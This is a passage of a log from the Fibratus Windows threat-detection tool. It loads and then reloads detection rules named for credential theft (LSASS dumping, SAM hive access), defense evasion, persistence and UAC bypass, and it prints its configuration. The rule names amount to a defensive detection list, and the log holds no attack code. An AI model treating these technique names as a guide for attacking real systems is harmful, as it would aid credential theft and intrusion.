from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T12:28:00+01:00 level=info msg=bootstrapping with pid 12424. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T12:28:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true enabled=>false content-type=>text/html to=>[] port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-mem=>false max-buffers=>36 min-buffers=>16 enable-audit-api=>true enable-thread=>true enable-fileio=>true enable-dns=>false flush-interval=>1s enable-registry=>true stack-enrichment=>true enable-handle=>false enable-net=>true buffer-size=>512 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true level=>info] + output ......................... [ amqp=>[ passive=>false durable=>false exchange=>fibratus timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus exchange-type=>topic enabled=>false vhost=>/ delivery-mode=>transient tls-insecure-skip-verify=>false] elasticsearch=>[ template-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s sniff=>false timeout=>5s enabled=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 gzip-compression=>false trace-log=>false healthcheck=>true index-name=>fibratus flush-period=>1s] http=>[ endpoints=>[] serializer=>json enabled=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST enable-gzip=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-files=>false excluded-procs=>[] skip-mmaps=>false skip-registry=>false fastscan=>true excluded-files=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-26T12:28:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:28:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:30:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T12:30:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:30:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:30:14+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml 